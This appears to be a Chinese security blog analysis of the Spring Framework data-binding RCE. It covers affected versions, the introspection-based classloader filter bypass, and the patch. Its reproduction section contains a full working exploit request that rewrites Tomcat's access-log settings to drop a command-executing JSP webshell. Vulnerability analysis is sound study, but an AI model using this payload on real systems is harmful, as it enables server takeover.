01 影响范围:
- Spring Framework < 5.3.18
- Spring Framework < 5.2.20
及其衍生产品
- JDK ≥ 9
- JRE ≥ 9
02 前置知识:
1、JavaBean
JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
2、内省:
基本概念: 计算机程序在运行时(Runtime)检查对象(Object)类型的一种能力, 通常也可以称作运行时类型检查
内省的作用:内省是操作JavaBean 的 API,用来访问某个属性的 getter/setter 方法
内省的使用:
- 通过
BeanInfo
的getPropertyDescriptors
方法和getMethodDescriptors
方法可以拿到 javaBean 的字段信息列表和 getter 和 setter 方法信息列表 PropertyDescriptors
可以根据字段直接获得该字段的 getter 和 setter 方法MethodDescriptors
可以获得方法的元信息,比如方法名,参数个数,参数字段类型等- 然后通过反射机制来调用这些方法
03 环境搭建:
1、调试环境
使用IDEA搭建一个简单的Spring MVC环境,版本为4.3.8,然后配置好Tomcat,确保可以进行调试
@Data
@NoArgsConstructor
@AllArgsConstructor
public class User {
private String name;
private String password;
}
@Controller
public class UserController {
@RequestMapping("/user")
@ResponseBody
public String getUser(User user){
return "ok";
}
}
2、漏洞复现环境
使用IDEA搭建一个简单的Spring MVC的环境,然后打包为war包部署到本地Tomcat下的webapps
文件夹下
04 漏洞分析:
首先使用调试环境进行调试,查看JavaBean的设置流程
整个调试过程比较长,这里挑重点的地方进行分析,首先程序会通过request请求获取到传入的key
与value
,并且依次对每一个键值对进行赋值
传入的key
值中可能会含有.
,pos为每次截取key值中第一个"."的下标,然后迭代得到内省获取的字段信息,nestedPa
中包含对应的object
与内省的信息
nestedPa
的内容包含传入的path与对应的object
,如果传入class.module.classLoader.resources.context.parent.pipeline.first.suffix
则也会通过内省调用getter
获取最终的对象
自省时的beanClass
最开始来源于controller
中传入的class对象,拿上面的例子举例,需要接收一个User
,那么一开始的beanClass
就是User.class
,然后获取其setter
与getter
方法,只有传入的属性值有setter
与getter
对应的属性时,beanClass
才会变化,因为User
有getClass
这个方法,所以当传入class=xxx
,那么下一次的beanClass就会变为class.Class
。如果传入的key值包含.
时,beanClass也会随着对应的值进行迭代,举个例子,传入class.module=xx
,一开始beanClass
为class.Class
,通过自省获取了Class的对应方法,接着识别module
,对应的beanClass就会变为module.Class
,他们是由不断获取对应的object
,并且是通过getClass()
得到的
当对java.lang.Class.class
进行内省时,会将它的所有setter
与getter
方法put到propertyDescriptorCache
中,这里过滤了classloader
如果传入class.module
时会先通过内省获取class
的getter
与setter
,同时反射创建class
对象,接着对module
进行内省,当使用内省获取Module的setter
与getter
时,虽然pd.getName
为classloader
,但是beanClass
为Module.class
,而且通过||
连接,因此绕过了classloader
的限制,在高版本的Spring
框架中虽然代码不太一样,但是原理是一样的,都可以绕过(影响范围内的版本)
在前面获取了object
之后就会对这个值进行设置,在获取了object
后,对应的setter
方法也通过之前的内省获得了,因此可以使用反射进行属性的设置,从而完成数据绑定
总结一下:
1、通过自省去获取对应class
的setter
与getter
方法,并且最后会返回setter
,只有传入的属性中有内省获取到的属性时才会创建对应的object
与返回对象,因为任意类都有getClass
方法,所以传入class
会获取到object
并返回setter
,对于class.xxx.xxx
这样的key
值也一样,会获取最终的object
,并且返回setter
方法
2、接着会用得到的object
与setter
方法通过反射进行值的设置,设置为请求传入的value
值
3、因此相当于可以给Class
可以内省获取的任意属性进行赋值,一种利用方式是可以设置日志文件的位置、名称与内容来写入webshell
AccessLogValue利用方式:
AccessLogValue的属性可参考tomcat官方文档
https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html
通过属性注入修改AccessLogValue的几个属性如下
class.module.classLoader.resources.context.parent.appBase=./
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{Prefix123}i+1231231+%25{Suffix123}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=.
class.module.classLoader.resources.context.parent.pipeline.first.prefix=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
由于%会被过滤,pattern里通过引用头部来实现构造。
PS: 注意每次写新的文件,需要修改suffix、prefix以及fileDateFormat,否则文件路径不会修改。
fileDataFormat:默认是.yyyy-MM-dd,尽量只用数字,因为字母会被解析格式化
suffix:只要有后缀即可
prefix:可任意
pattern:格式一般是%h %l %u %t “%r” %s %b ,所以%会被格式化,但通过%{xxx}i可引用请求头字段,即可保证任意字符写入,并且可以实现字符拼接,绕过webshell检测。
%{xxx}i 请求headers的信息
%{xxx}o 响应headers的信息
%{xxx}c 请求cookie的信息
%{xxx}r xxx是ServletRequest的一个属性
%{xxx}s xxx是HttpSession的一个属性
05 漏洞复现:
将Spring MVC的打包为war包,并且放到Tomcat的webapps下
启动Tomcat
访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入
POST /springmvc/user HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发现jsp已经生成,并且内容为执行命令并回显的命令
访问对应的tomcatwar.jsp并传入命令,实现命令执行
06 补丁分析:
补丁链接:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
当beanClass是class.Class时,只允许添加name属性,因此避免了设置module
参考文档:
- http://rui0.cn/archives/1158
- https://jasonkayzk.github.io/2020/03/02/Java%E7%9A%84%E5%86%85%E7%9C%81%E6%8A%80%E6%9C%AF/
- https://cloud.tencent.com/developer/article/1035297
- https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
喜欢的大佬们可以关注我的公众号,我会在公众号里持续分享一些安全的内容,可以一起交流~